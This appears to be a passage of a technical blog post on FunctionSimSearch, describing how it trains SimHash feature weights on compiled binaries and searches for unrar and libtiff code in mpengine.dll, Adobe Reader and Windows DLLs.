We start with a simple smoothed step function g\(x,y\) := - xyx2y2+1.0+1.0:  

  

<img src='img/wpIJQER_Es4P3dRXPWK55cSDG9T5_Kxc9h9IA4Zc1YDWSR0KRrWI-
qI9wSP33Kc0eTJ3Nqdp4XUsSSslIDBnrlx9Vz-7_88uS-
KOK8_sPATtPiocOpRcTaoKJADARUnQbOL4j038.gif' width='429' height='323' />  

  
This function has high loss when the sign of x and y is different, and zero
loss when it is the same. Unfortunately, it is also flat on most of the
surface, so we need to somehow skew the flat regions to point into the right
direction. So we multiply with d\(x,y\) :=\(x-y\)2+0.01

  

<img
src='img/Iu25O5gUOL2mZ6zuVdsVtDTAVnKQ1NC0EjqDXd3DNYtfZS76oZ4IgaDqSUHk3zojPD8egC18oXQ2kJQufyJpCC-
Vj4hAkE3WigHBc1GQAUZdLM0uQB0fuNy0BrJjWj6WmqcJxJVq.gif' width='462'
height='347' />

  

This function satisfies our requirements: It provides a way to move parameters
in the desired direction, punishes unequal signs, and has zero loss if x and y
have equal sign.

  
In summary: For a given pair of real vectors \(each obtained by calculating
the hash function without the last step of converting to a binary hash\) we
can simply sum the loss for each vector entry. We now have a loss function
that we can use to adjust our parameters from examples.

###  Generating training data

Generating training data should - at least in theory - be simple. It should be
sufficient to compile some open-source code with a number of different
compilers and compiler settings, and then parse the symbol information to
create groups of “function variants” - e.g. multiple different compiler
outputs for the same C/C++ function. Similarly, known-dissimilar-pairs can be
generated by simply taking two random functions with different symbols.

  

Unfortunately, theory is not practice, and a number of grimy implementation
issues come up, mostly around symbol parsing and CFG reconstruction.

####  Real-world problems: Symbols

One problem arises from the non-availability of good cross-platform tooling
for parsing different versions of the PDB file format - which naturally arise
when many different versions of Visual Studio are used - and the difficulty of
reliably building the same open-source codebase for many different compilers.
While GCC and CLANG are often drop-in-replaceable, projects that build without
intervention on both Visual Studio, GCC, and CLANG are much more rare.

  

The \(unfortunate\) solution to the PDB parsing issue is “giving up” - the
codebase expects the PDB information to have been dumped to a text file. More
on this below.

  

The \(equally unfortunate\) solution to the issue of building the same
codebase reliably with Visual Studio and GCC is also “giving up” - it is up to
the user of FunctionSimSearch to get things built.

  

Other problems arise by different mangling conventions for C++ code, and
different conventions in different compilers affecting how exactly a function
is named. This is solved by a hackish small tool that removes type information
from symbols and tries to “unify” between GCC/CLANG and Visual Studio
notation.

####  Real-world problems: Reliably generating CFGs, and polluted data sets

Obtaining CFGs for functions should be simple. In practice, none of the tested
disassemblers correctly disassembles switch statements across different
compilers and platforms: Functions get truncated, basic blocks mis-assigned
etc. The results particularly dire for GCC binaries compiled using -fPIC of
-fPIE, which, due to ASLR, is the default on modern Linux systems.

  

The net result is polluted training data and polluted search indices, leading
to false positives, false negatives, and general frustration for the
practitioner.

While the ideal fix would be more reliable disassembly, in practice the fix is
careful investigation of extreme size discrepancies between functions that
should be the same, and ensuring that training examples are compiled without
PIC and PIE \(-fno-pie -fno-PIE -fno-pic -fno-PIC is a useful set of build
flags\).

####  Data generation in practice

In practice, training data can be generated by doing:

  

cd ./testdata

./generate\_training\_data.py --work\_directory=/mnt/training\_data

  

The script parses all ELF and PE files it can find in the ./testdata/ELF and
./testdata/PE directories. For ELF files with DWARF debug information, it uses
objdump to extract the names of the relevant functions. For PE files, I was
unfortunately unable to find a good and reliable way of parsing a wide variety
of PDB files from Linux. As a result, the script expects a text file with the
format “<executable\_filename>.debugdump” to be in the same directory as each
PE executable. This text file is expected to contain the output of the
DIA2Dump sample file that ships with Visual Studio.

  
The format of the generated data is as follows:

  

./extracted\_symbols\_<EXEID>.txt

./functions\_<EXEID>.txt

./\[training|validation\]\_data\_\[seen|unseen\]/attract.txt

./\[training|validation\]\_data\_\[seen|unseen\]/repulse.txt

./\[training|validation\]\_data\_\[seen|unseen\]/functions.txt

  

Let’s walk through these files to understand what we are operating on:

  

  1. The ./extracted\_symbols\_<EXEID>.txt files:  
Every executable is assigned an executable ID - simply the first 64 bit of
it’s SHA256. Each such file describes the functions in the executable for
which symbols are available, in the format:  
\[exe ID\] \[exe path\] \[function address\] \[base64 encoded symbol\] false

  2. The ./functions\_<EXEID>.txt files:  
These files contain the hashes of the extracted features for each function in
the executable in question. The format of these files is:  
\[exe ID\]:\[function address\] \[sequence of 128-bit hashes per feature\]

  3. The ./\[training|validation\]\_data\_\[seen|unseen\]/attract.txt and ./repulse.txt files:  
These files contain pairs of functions that should repulse / attract, the
format is simply  
\[exe ID\]:\[function address\] \[exe ID\]:\[function address\]

  4. The ./\[training|validation\]\_data\_\[seen|unseen\]/functions.txt files:  
A file in the same format as the ./functions\_<EXEID>.txt files with just the
functions referenced in the corresponding attract.txt and repulse.txt.

###  Two ways of splitting the training / validation data

What are the mysterious training\_data\_seen and training\_data\_unseen
directories? Why does the code generate multiple different training/validation
splits? The reason for this is that there are two separate questions we are
interested in:

  

  1. Does the learning process improve our ability to detect variants of a function we have trained on?
  2. Does the learning process improve our ability to detect variants of a function, even if no version of that function was available at training time?

  
While \(2\) would be desirable, it is unlikely that we can achieve this goal.
For our purposes \(detection of statically linked vulnerable libraries\), we
can probably live with \(1\). But in order to answer these questions
meaningfully, we need to split our training and validation data differently.

  

If we wish to check for \(2\), we need to split our training and validation
data along “function group” lines: A “function group” being a set of variant
implementations of the same function. We then need to split off a few function
groups, train on the others, and use the groups we split off to validate.

  

On the other hand, if we wish to check for \(1\), we need to split away random
variants of functions, train on the remainder, and then see if we got better
at detecting the split-off functions.

  

The differences in how the training data is split is best illustrated as
follows:  
  

<img src='img/ffs_2.png' width='640' height='627' />

  
  
Implementation issues of the training

The industry-standard approaches for performing machine learning are libraries
such as TensorFlow or specialized languages such as Julia with AutoDiff
packages. These come with many advantages -- most importantly, automated
parallelization and offloading of computation to your GPU.  

Unfortunately, I am very stubborn -- I wanted to work in C++, and I wanted to
keep the dependencies extremely limited; I also wanted to specify my loss
function directly in C++. As a result, I chose to use a C++ library called
SPII which allows a developer to take an arbitrary C++ function and minimize
it. While this offers a very clean and nice programming model, the downside is
“CPU-only” training. This works, but is uncomfortably slow, and should be
replaced with a GPU-based version.

###  Running the actual training process

Once the training data is available, running the training process is pretty
straightforward:

  

thomasdullien@machine-learning-training:~/sources/functionsimsearch/bin$
./trainsimhashweights -data=/mnt/training\_data/training\_data\_seen/
--weights=weights\_seen.txt

\[\!\] Parsing training data.

\[\!\] Mapping functions.txt

\[\!\] About to count the entire feature set.

\[\!\] Parsed 1000 lines, saw 62601 features ...

\[\!\] Parsed 2000 lines, saw 104280 features ...

\(...\)

\[\!\] Parsed 12000 lines, saw 270579 features ...

\[\!\] Processed 12268 lines, total features are 271653

\[\!\] Iterating over input data for the 2nd time.

\[\!\] Loaded 12268 functions \(271653 unique features\)

\[\!\] Attraction-Set: 218460 pairs

\[\!\] Repulsion-Set: 218460 pairs

\[\!\] Training data parsed, beginning the training process.

Itr f deltaf max|g\_i| alpha H0 rho

0 +7.121e+04 nan 4.981e+02 2.991e-06 1.000e+00 0.000e+00

1 +7.119e+04 2.142e+01 5.058e+02 1.000e+00 1.791e-06 3.114e-01

2 +7.101e+04 1.792e+02 3.188e+02 1.000e+00 2.608e-05 5.735e-03

3 +7.080e+04 2.087e+02 2.518e+02 1.000e+00 4.152e-05 4.237e-03

4 +7.057e+04 2.271e+02 2.757e+02 1.000e+00 5.517e-05 4.469e-03

...

  

A few days later, the training process will have performed 500 iterations of
L-BFGS while writing snapshots of the training results every 20 steps into our
current directory \(20.snapshot … 480.snapshot\). We can evaluate the results
of our training:

  

$ for i in \*.snapshot; do foo=$\(./evalsimhashweights --data /mnt/june2/validation\_data\_seen/ --weights $i | grep \\\(trained\\\)\); echo $i $foo; done
  

This provides us with the “difference in average distance between similar and
dissimilar pairs” in the validation data: the code calculates the average
distance between similar pairs and between dissimilar pairs in the validation
data, and shows us the difference between the two. If our training works, the
difference should go up.

  

<img src='img/Dx-
HIAn5KsKJ4nT4CxPIeqnOjnBsfHkdYriWs_pJtgMUV0iKyW3-GfzM8A9oH_uj1Pb1B09EIw9K0Ld_dQxChxSKtaOyfFsMjpyauhbKqi-
YAEgKbo9YeW7Kltfpcr6U2g0nBgzg.png' width='624' height='385' />  
We can see that somewhere around 420 training steps we begin to over-train -
our difference-of-means on the validation set starts inching down again, so it
is a good idea to stop the optimization process. We can also see that the
difference-in-average-distance between the “similar” and “dissimilar” pairs
has gone up from a bit more than 10 bits to almost 25 bits - this seems to
imply that our training process is improving our ability to recognize variants
of functions that we are training on.

###  Understanding the results of training

There are multiple ways of understanding the results of the training
procedure:

  

  1. Given that we can easily calculate distance matrices for a set of functions, and given that there are popular ways of visualizing high-dimensional distances \(t-SNE and MDS\), we can see the effects of our training visually.
  2. Several performance metrics exist for information-retrieval tasks \(Area-under-ROC-curve\). 
  3. Nothing builds confidence like understanding what is going on, and since we obtain per-feature weights, we can manually inspect the feature weights and features to see what exactly the learning algorithm learnt.

  

The next sections will go through steps 1 and 2. For step 3, please refer to
the documentation of the tool.

###  Using t-SNE as visualisation

A common method to visualize high-dimensional data from pairwise distances is
t-SNE \-- a method that ingests a matrix of distances and attempts to create a
low-dimensional \(2d or 3d\) embedding of these points that attempts to
respect distances. The code comes with a small Python script that can be used
to visualize

  

We will create two search indices: One populated with the “learnt feature
weights”, and one populated with the “unit feature weight”:

  

\# Create and populate an index with the ELF unrar samples with the

\# learnt features.

./createfunctionindex --index=learnt\_features.index; ./growfunctionindex
--index=learnt\_features.index --size\_to\_grow=256; for i in $\(ls
../testdata/ELF/unrar.5.5.3.builds/\*\); do echo $i; ./addfunctionstoindex
--weights=420.snapshot --index=learnt\_features.index --format=ELF --input=$i;
done

\# Add the PE files

for i in $\(find ../testdata/PE/ -iname \*.exe\); do echo $i;
./addfunctionstoindex --weights=420.snapshot --index=learnt\_features.index
--format=PE --input=$i; done

  

\# Create and populate an index with unit weight features.

./createfunctionindex --index=unit\_features.index; ./growfunctionindex
--index=unit\_features.index --size\_to\_grow=256; for i in $\(ls
../testdata/ELF/unrar.5.5.3.builds/\*\); do echo $i; ./addfunctionstoindex
--index=unit\_features.index --format=ELF --input=$i; done

\# Add the PE files

for i in $\(find ../testdata/PE/ -iname \*.exe\); do echo $i;
./addfunctionstoindex --index=unit\_features.index --format=PE --input=$i;
done

  
\# Dump the contents of the search index into a text file.

./dumpfunctionindex --index=learnt\_features.index > learnt\_index.txt

./dumpfunctionindex --index=unit\_features.index > unit\_index.txt

  

\# Process the training data to create a single text file with symbols for

\# all functions in the index.

cat /mnt/training\_data/extracted\_\*.txt > ./symbols.txt

  

\# Generate the visualisation

cd ../testdata

./plot\_function\_groups.py ../bin/symbols.txt ../bin/learn\_index.txt
/tmp/learnt\_features.html

./plot\_function\_groups.py ../bin/symbols.txt ../bin/learnt\_index.txt
/tmp/learnt\_features.html

  

We now have two HTML files that use d3.js to render the results:  

  
Unit weights:  

-30-25-20-15-10-5051015202530-30-20-100102030
  
Learned weights:  

-20-15-10-50510152025303540-25-20-15-10-50510152025
  

Mouse-over on a point will display the function symbol and file-of-origin. It
is visible to the naked eye that our training had the effect of moving groups
of functions “more closely together”.

  

We can see here that the training does have some effect, but does not produce
the same good effect for all functions: Some functions seem to benefit much
more from the training than others, and it remains to be investigated why this
is the case.

###  Examining TPR, FPR, IRR, and the ROC-curve

  

When evaluating information retrieval systems, various metrics are important:
The true positive rate \(how many of the results we were supposed to find did
we find?\), the false positive rate \(how many of the results we were not
supposed to find did we find?\), the irrelevant result rate \(what percentage
of the results we returned were irrelevant? This is the complement to the
precision\), and the ROC curve \(a plot of the TPR against the FPR\).

This is helpful in both making informed choices about the right distance
threshold, but also in order to quantify how much we are losing by performing
approximate vs. precise search. It also helps us choose how many "hash
buckets" we want to use for approximate searching.

There is a Python script in the git repository that can be used to generate
the data for the ROC curve. The script requires a file with the symbols for
all elements of the search index, a textual representation of the search index
\(obtained with dumpsearchindex, and access to the actual search index file.

\# Create a search index to work with.

./createfunctionindex --index=/media/thomasdullien/roc/search.index

\# Make it big enough to contain the data we are adding.

./growfunctionindex --index=/media/thomasdullien/roc/search.index
--size\_to\_grow=1024

\# Add all the functions from our training directories to it:

for filename in $\(find ../testdata/ELF/ -iname \*.ELF\); do echo $filename;
./addfunctionstoindex --format=ELF --input=$filename
--index=/media/thomasdullien/roc/search.index; done

for filename in $\(find ../testdata/PE/ -iname \*.exe\); do echo $filename;
./addfunctionstoindex --format=PE --input=$filename
--index=/media/thomasdullien/roc/search.index; done

\# Now dump the search index into textual form for the Python script:

./dumpfunctionindex --index /media/thomasdullien/roc/search.index >
/media/thomasdullien/roc/search.index.txt

\# The file "symbols.txt" is just a concatenation of the symbols extracted
during

\# the run of the ./generate\_training\_data.py script.

cat /media/thomasdullien/training\_data/extracted\_symbols\_\*.txt >
/media/thomasdullien/roc/symbols.txt

  

In order to obtain the data for the curve, we can use the following Python
script:

testdata/evaluate\_ROC\_curve.py
--symbols=/media/thomasdullien/roc/symbols.txt
--dbdump=/media/thomasdullien/roc/search.index.txt
--index=/media/thomasdullien/roc/search.index

  

The output of the script is a 7-column output:

  1. The maximum distance between two SimHash values to consider.
  2. The true positive rate for exact \(non-approximate-search-index\) search.
  3. The false positive rate for exact \(non-approximate-search-index\) search.
  4. The true positive rate for search using the approximate search index.
  5. The false positive rate for using the approximate search index.
  6. The percentage of irrelevant results returned using exact search.
  7. The percentage of irrelevant results returned using approximate search.

We can generate the curves for both the trained and untrained data, and then
plot the results using gnuplot:

gnuplot -c ./testdata/plot\_results\_of\_evaluate\_ROC\_curve.gnuplot
./untrained\_roc.txt

gnuplot -c ./testdata/tpr\_fpr\_curve.gnuplot ./untrained\_roc.txt
./trained\_roc.txt

  

So let us examine this plots for the untrained results first:

  

<img
src='img/40LRtHf0qTjmdUpLZNdTcYhsUlHfFsdrIQAm52-5-E0BvsS0Sqw8iB04xgf_oYpsn_7jQNfHXPDU3enrR7ku6gPTHwreU9Prv_LZQr5EfPkCnrUpTVQqo9m9eADx1_vGfrxJ56w5.png'
width='624' height='624' />

  

The first diagram shows that if we want a TPR of more than 50%, we will have
to incur about 20% of the returned results being irrelevant to our search; the
cut-off distance we should take for this is somewhere around 25 bits.

We also see that we will pay a heavy price for increasing the cut-off: At 35
bits, where our TPR hits 55%, half of our results are irrelevant. This is a
weakness of the set-up at the moment, and we will see if it can be improved by
learning weights.

The second diagram shows that we only pay in TPR for the approximate search
for very high cut-offs - the TPR and FPR flatten off, which is a symptom of us
missing more and more of the search space as we expand the number of bits we
consider relevant.

The lower-left diagram shows how quickly our precision deteriorates as we try
to improve the recall.

How are these curves affected by the training process?

<img
src='img/Ta2N03llk2ALgamq61liu53_PU1i9HUqIPXZC5oMLJee11u-cahboS1MZ8b2Spx4PRljmksEPGBgrHVOWzfkC-
jCqDUiM-bpYau0qHuwFgNdeZTcX0qgtkfJf0CLvw20riYYhX5I.png' width='624'
height='624' />

  

So in the top-left curve, we can see that the rate of irrelevant results at 10
bits distance has dropped significantly: Down to approximately 5% from about
15%. Unfortunately, the true-positive-rate has also dropped - instead of about
45% of the results we want to get, we only achieve about 33%. So the training
works in the sense that it improves the ratio of good results to irrelevant
results significantly, but at the cost of lowering the overall rate of results
that we find.

If we are willing to tolerate approximately 15% irrelevant results, we will
get about 45% of the results we desire in the non-trained version. Sadly, in
the trained version, for the same level of irrelevant results, we only get
about 40% of the results we desire.

In summary: In the current form, the training is useful for lowering the
irrelevant result rate below what is achievable without training - but for any
acceptable rate of irrelevant results that can be achieved without training,
the untrained version appears to achieve better results.

###  Does this generalize to out-of-sample functions?

In the section about splitting our training/validation data, we posed two
questions - and the more interesting question is \(2\). Is there anything we
are learning about the compilers ?

Plotting the difference-in-mean-distance that we plotted for question \(1\)
also for question \(2\) yields the following image:

  

<img
src='img/kj4gUk7rmXDyMWbv8FC2Ngd5tZ7ejGReKAmKedJZVDvmwnWngIC_LPwgdohx_hWnvjIHPCoIunNT7rMOvc-
RlZw35HXDbrarCnzgyrVlYMWexaWYOLUh3NRq6Tjt3udgiqLG0cp5.png' width='595'
height='365' />

The red curve implies that there is a faint but non-zero signal - after about
80 training steps we have increased the mean-difference-in-means from 11.42
bits to 12.81 bits; overtraining appears to begin shortly thereafter.

It is unclear how much signal could be extracted using more powerful models;
the fact that our super-simple linear model extracts something is encouraging.

##  Practical searching

###  Using FunctionSimSearch from any Python-enabled RE tool

The command-line tools mostly rely on DynInst for disassembly - but reverse
engineers work with a bewildering plethora of different tools: IDA, Radare,
Binary Ninja, Miasm etc. etc.

  

Given the development effort to build integration for all these tools, I
decided that the simplest thing would be to provide Python bindings -- so any
tool that can interact with a Python interpreter can use FunctionSimSearch via
the same API. In order to get the tool installed into your Python interpreter,
run:

  

python ./setup.py --install user

  

The easiest way to use the API from python is via JSON-based descriptions of
flowgraphs:

  

jsonstring = \(... load the JSON ... \)

fg = functionsimsearch.FlowgraphWithInstructions\(\)

fg.from\_json\(jsonstring\)

hasher = functionsimsearch.SimHasher\("../testdata/weights.txt"\)

function\_hash = hasher.calculate\_hash\(fg\)

  

This yields a Python tuple with the hash of the function. The JSON graph
format used as input looks as follows:

  

\{  
"edges": \[ \{ "destination": 1518838580, "source": 1518838565 \}, \(...\) \],  
"name": "CFG",  
"nodes": \[  
\{  
"address": 1518838565,  
"instructions": \[  
\{ "mnemonic": "xor", "operands": \[ "EAX", "EAX" \] \},  
\{ "mnemonic": "cmp", "operands": \[ "\[ECX + 4\]", "EAX" \] \},  
\{ "mnemonic": "jnle", "operands": \[ "5a87a334" \] \} \]

\}, \(...\) \]  
\}

  
More details on how to use the Python API can be found in this example Python-
based IDA Plugin. The plugin registers hotkeys to “save the current function
in IDA into the hash database” and hotkeys to “search for similar functions to
the current IDA function in the hash database”. It also provides hotkeys to
save the entire IDB into the Database, and to try to match every single
function in a given disassembly against the search index.

  

For people that prefer using Binary Ninja, a plugin with similar functionality
is available \(thanks carstein@ :-\).

###  Searching for unrar code in mpengine.dll

As a first use case, we will use IDA to populate a search index with symbols
from unrar, and then search through mpengine.dll \(also from Binary Ninja\)
for any functions that we may recognize.

We can populate a search index called '''/var/tmp/ida2/simhash.index''' from a
set of existing disassemblies using the following command line:

\# Create the file for the search index.

/home/thomasdullien/Desktop/sources/functionsimsearch/bin/createfunctionindex
--index=/var/tmp/ida2/simhash.index

\# Populate using all 32-bit UnRAR.idb in a given directory.

for i in $\(find /media/thomasdullien/unrar.4.2.4.builds.idbs/unrar/ -iname
UnRAR.idb\); do ./ida
-S"/usr/local/google/home/thomasdullien/sources/functionsimsearch/pybindings/ida\_example.py
export /var/tmp/ida2/" $i; done

\# Populate using all 64-bit UnRAR.i64 in a given directory.

for i in $\(find /media/thomasdullien/unrar.4.2.4.builds.idbs/unrar/ -iname
UnRAR.i64\); do ./ida64
-S"/usr/local/google/home/thomasdullien/sources/functionsimsearch/pybindings/ida\_example.py
export /var/tmp/ida2/" $i; done

Once this is done, we can open mpengine.dll in IDA, go to File->Script File
and load ida\_example.py, then hit "Shift-M".

The IDA message window will get flooded with results like the text below:

\(...\)

6f4466b67afdbf73:5a6c8da1 f3f964313d8c559e-e6196c17e6c230b4 Result is
125.000000 - 72244a754ba4796d:42da24
x:\shared\_win\library\_sources\unrar\unrarsrc-4.2.4\unrar\build.VS2015\unrar32\Release\UnRAR.exe
'memcpy\_s' \(1 in inf searches\)

6f4466b67afdbf73:5a6c8da1 f3f964313d8c559e-e6196c17e6c230b4 Result is
125.000000 - ce2a2aa885d1a212:428234
x:\shared\_win\library\_sources\unrar\unrarsrc-4.2.4\unrar\build.VS2015\unrar32\MinSize\UnRAR.exe
'memcpy\_s' \(1 in inf searches\)

6f4466b67afdbf73:5a6c8da1 f3f964313d8c559e-e6196c17e6c230b4 Result is
125.000000 - 69c2ca5e6cb8a281:42da88
x:\shared\_win\library\_sources\unrar\unrarsrc-4.2.4\unrar\build.VS2015\unrar32\FullOpt\UnRAR.exe
'memcpy\_s' \(1 in inf searches\)

\--------------------------------------

6f4466b67afdbf73:5a6f7dee e6af83501a8eedd8-6cdba61793e9a840 Result is
108.000000 - ce2a2aa885d1a212:419301
x:\shared\_win\library\_sources\unrar\unrarsrc-4.2.4\unrar\build.VS2015\unrar32\MinSize\UnRAR.exe
'?RestartModelRare@ModelPPM@@AAEXXZ' \(1 in 12105083908.189119 searches\)

6f4466b67afdbf73:5a6f7dee e6af83501a8eedd8-6cdba61793e9a840 Result is
107.000000 - 86bc6fc88e1453e8:41994b
x:\shared\_win\library\_sources\unrar\unrarsrc-4.2.4\unrar\build.VS2013\unrar32\MinSize\UnRAR.exe
'?RestartModelRare@ModelPPM@@AAEXXZ' \(1 in 3026270977.047280 searches\)

6f4466b67afdbf73:5a6f7dee e6af83501a8eedd8-6cdba61793e9a840 Result is
107.000000 - eb42e1fc45b05c7e:417030
x:\shared\_win\library\_sources\unrar\unrarsrc-4.2.4\unrar\build.VS2010\unrar32\MinSize\UnRAR.exe
'?RestartModelRare@ModelPPM@@AAEXXZ' \(1 in 3026270977.047280 searches\)

\--------------------------------------

6f4466b67afdbf73:5a6fa46b f0b5a76c7eee2882-62d6c234a16c5b68 Result is
106.000000 - d4f4aa5dd49097be:414580
x:\shared\_win\library\_sources\unrar\unrarsrc-4.2.4\unrar\build.VS2010\unrar32\Release\UnRAR.exe
'?Execute@RarVM@@QAEXPAUVM\_PreparedProgram@@@Z' \(1 in 784038800.726675
searches\)

6f4466b67afdbf73:5a6fa46b f0b5a76c7eee2882-62d6c234a16c5b68 Result is
106.000000 - 50bbba3fc643b153:4145c0
x:\shared\_win\library\_sources\unrar\unrarsrc-4.2.4\unrar\build.VS2010\unrar32\FullOpt\UnRAR.exe
'?Execute@RarVM@@QAEXPAUVM\_PreparedProgram@@@Z' \(1 in 784038800.726675
searches\)

6f4466b67afdbf73:5a6fa46b f0b5a76c7eee2882-62d6c234a16c5b68 Result is
105.000000 - eb42e1fc45b05c7e:410717
x:\shared\_win\library\_sources\unrar\unrarsrc-4.2.4\unrar\build.VS2010\unrar32\MinSize\UnRAR.exe
'?Execute@RarVM@@QAEXPAUVM\_PreparedProgram@@@Z' \(1 in 209474446.235050
searches\)

\--------------------------------------

6f4466b67afdbf73:5a6fa59a c0ddbe744a832340-d7d062fe42fd5a60 Result is
106.000000 - eb42e1fc45b05c7e:40fd39
x:\shared\_win\library\_sources\unrar\unrarsrc-4.2.4\unrar\build.VS2010\unrar32\MinSize\UnRAR.exe
'?ExecuteCode@RarVM@@AAE\_NPAUVM\_PreparedCommand@@I@Z' \(1 in
784038800.726675 searches\)

\--------------------------------------

6f4466b67afdbf73:5a7ac980 c03968c6fad84480-2b8a2911b1ba1e40 Result is
105.000000 - 17052ba379b56077:140069170
x:\shared\_win\library\_sources\unrar\unrarsrc-4.2.4\unrar\build.VS2015\unrar64\Debug\UnRAR.exe
'strrchr' \(1 in 209474446.235050 searches\)

6f4466b67afdbf73:5a7ac980 c03968c6fad84480-2b8a2911b1ba1e40 Result is
105.000000 - 4e07df225c1cf59c:140064590
x:\shared\_win\library\_sources\unrar\unrarsrc-4.2.4\unrar\build.VS2013\unrar64\Debug\UnRAR.exe
'strrchr' \(1 in 209474446.235050 searches\)

6f4466b67afdbf73:5a7ac980 c03968c6fad84480-2b8a2911b1ba1e40 Result is
105.000000 - a754eed77d0059ed:1400638f0
x:\shared\_win\library\_sources\unrar\unrarsrc-4.2.4\unrar\build.VS2012\unrar64\Debug\UnRAR.exe
'strrchr' \(1 in 209474446.235050 searches\)

\--------------------------------------  

Let us examine some of these results a bit more in-depth. The first result
claims to have found a version of memcpy\_s, with a 125 out of 128 bits
matching. This implies a very close match. The corresponding disassemblies
are:

  

<img
src='img/qDrPhijbi80RRMVdhv0Dv1Ruw5xTxxslCpnb0wZfYqixxglJMnR57qH1G5UMkhGVbIbtPB-
jHmXwLKMbQnmcsJW-s3rk7qiH2x5kNusGUvOU_en3oiBsabpkCURZgsZyYQJAZto0.png'
width='624' height='383' />

  

Aside from a few minor changes on the instruction-level, the two functions are
clearly the same - even the CFG structure stayed identical.

The next result claims to have found a variant
ppmii::ModelPPM::RestartModelRare with 108 of the 128 bits matching.

  

<img
src='img/lnepK0Pmyo6MEC8fyeWh9MmT3cNkeXZXpobaaTd_xrSe7EXkiM2Ni7oJrVgK2w6fyvYb0NqCUag5E8ribKQHiuqFPnORBF9HaxEUcN-2OaQw4AO0b8FoGuvATy4PGC0Bq-
WaucZl.png' width='624' height='380' />

<img src='img/tEnQ6sGEkChy8ObYi9oWfC_fS-
RjOaMeeA1W2L7CvBjO3fyACmsDDt0O2m3hfjZJWKnXSSwKodLyxlWXJKi7N19OWtLRpZk81vaOzNLpO100_YFT0f-qD6nExbG9zykHaN599Jnk.png'
width='624' height='389' />

  

The disassembly \(and all structure offsets in the code\) seems to have
changed quite a bit, but the overall CFG structure is mostly intact: The first
large basic block was broken up by the compiler, so the graphs are not
identical, but they are definitely still highly similar.

  

The next example is a much larger function - the result claims to have
identified RarVM::ExecuteCode with 106 of 128 bits of the hash matching. What
does the graph \(and the disassembly\) look like?

  

<img
src='img/Os5qkondHdtADTtwy4e4dy8F_jjIhNQUlYYIQda51T525_sBA0qt2RQ302PMOgCqjBXXmZl2rufyXuMaGD3RBior96gUXPq13sKplNO1xSVoPyQyXvZl1-hASOIa4OKXqCzawZsG.png'
width='624' height='145' />

<img
src='img/PpxByzFHH7GYLPzo6tr4vv_I6xCmbY9Bu1m3STOOb5HeCz-1voe5EPjPLKJtROuFuAF1vXZLsf9wpLBAY9PYG-
Yee_URI7vYZ8RT3t2G6FIh23L0P3XyV1wW04__mRIjkrMZkhgw.png' width='624'
height='389' />

  

In this example, the graph has changed substantially, but a few subgraphs seem
to have remained stable. Furthermore, the code contains magic constants \(such
as 0x17D7840, or the 0x36\) that will have factored into the overall hash.
This is a nontrivial find, so ... yay\!

This blog post would not be complete without showing an example of a false
positive: Our search also brings up a match for \`\`RarTime::operator==\`\`\`.
The match is very high-confidence -- 125 out of 128 bits match, but it turns
out that - while the code is very similar - the functions do not actually have
any relationship on the source-code level.

<img src='img/9lI595uRJ0Z7RzT9L2BGN-
MBDi2BxKty9MlYFCHJ4w5ApkBKH8XEP-Z47KTJIu22R5xE1LNjBMoYbIdSUCRGyFuU3XkutYgPm4D0TVMHYKxvjXf0Sy-
KKdRsd6vnxQvMawhJclFe.png' width='624' height='389' />

  

Both functions check a number of data members of a structure, and return
either true or false if all the values are as expected. Such a construct can
arise easily - especially in operator==-style constructs.

###  Searching for libtiff code in Adobe Reader

It is well-documented that Adobe Reader has been bitten by using outdated
versions of libtiff in the past. This means that running a search through
AcroForm.dll should provide us with a number of good hits from libtiff, and
failure to achieve this should raise some eyebrows.

  

We populate a database with a variety of libtiff builds, run the plugin as we
did previously, and examine the results. In comparison to the mpengine case,
we get dozens of high-likelihood-results -- the codebase inside AcroForm.dll
has not diverged from upstream quite as heavily as the Unrar fork inside
mpengine.

###  Searching for libtiff code through all my Windows DLLs

Searching for code that we already know is present is not terribly
interesting. How about searching for traces of libtiff across an entire
harddisk with Windows 10 installed?

In order to do this from the command line \(e.g. without any real third-party
disassembler\), we need a few things:

  1. A directory in which we have compiled libtiff with a variety of different versions of Visual Studio and a variety of different compiler settings.
  2. Debug information from the PDB files in a format we can easily parse. The current tooling expects a .debugdump file in the same directory as the PDB file, obtained by using Microsofts DIA2Dump tool and redirecting the output to a text file.

Let's create a new search index and populate it:

\# Create the file for the search index.

/home/thomasdullien/Desktop/sources/functionsimsearch/bin/createfunctionindex
--index=/var/tmp/work/simhash.index

\# Populate it.

for i in $\(find /media/thomasdullien/storage/libtiff/PE/ -name tiff.dll\); do
./addfunctionstoindex --input=$i --format=PE
--index=/var/tmp/work/simhash.index; done

We also want some metadata so we know the symbols of the files in the search
index.

We can generate a metadata file to be used with a search index by running the
same script that generates training data:

~/Desktop/sources/functionsimsearch/testdata/generate\_training\_data.py
--work\_directory=/var/tmp/work/
--executable\_directory=/media/thomasdullien/storage/libtiff/
--generate\_fingerprints=True --generate\_json\_data=False

cat /var/tmp/work/extracted\_symbols\* > /var/tmp/work/simhash.index.meta

Allright, finally we can scan through the DLLs in a directory:

for i in $\(find /media/DLLs -iname ./\*.dll\); do echo $i;
./matchfunctionsindex --index=/var/tmp/work/simhash.index --input $i; done  

We will get commandline output similar to the following:

/home/thomasdullien/Desktop/sources/adobe/binaries/AGM.dll

\[\!\] Executable id is 8ce0e5a0e1324b15

\[\!\] Loaded search index, starting disassembly.

\[\!\] Done disassembling, beginning search.

\[\!\] \(1231/7803 - 8 branching nodes\) 0.843750: 8ce0e5a0e1324b15.608033d
matches 36978e7b9d396c8d.10021978
/home/thomasdullien/Desktop/tiff-3.9.5-builds/PE/vs2013.32bits.O1/libtiff.dll
std::basic\_string<char, std::char\_traits<char>, std::allocator<char>
>::\_Copy\(unsigned int, unsigned int\)

\[\!\] \(1231/7803 - 8 branching nodes\) 0.820312: 8ce0e5a0e1324b15.608033d
matches 53de1ce877c8fedd.10020e8b
/home/thomasdullien/Desktop/tiff-3.9.5-builds/PE/vs2012.32bits.O1/libtiff.dll
std::basic\_string<char, std::char\_traits<char>, std::allocator<char>
>::\_Copy\(unsigned int, unsigned int\)

\[\!\] \(1236/7803 - 7 branching nodes\) 0.828125: 8ce0e5a0e13i24b15.608056e
matches 36978e7b9d396c8d.100220d4
/home/thomasdullien/Desktop/tiff-3.9.5-builds/PE/vs2013.32bits.O1/libtiff.dll
std::basic\_string<char, std::char\_traits<char>, std::allocator<char>
>::assign\( std::basic\_string<char, std::char\_traits<char>,
std::allocator<char> > const&, unsigned int, unsigned int\)

\(...\)

/home/thomasdullien/Desktop/sources/adobe/binaries/BIBUtils.dll

\[\!\] Executable id is d7cc3ee987ba897f

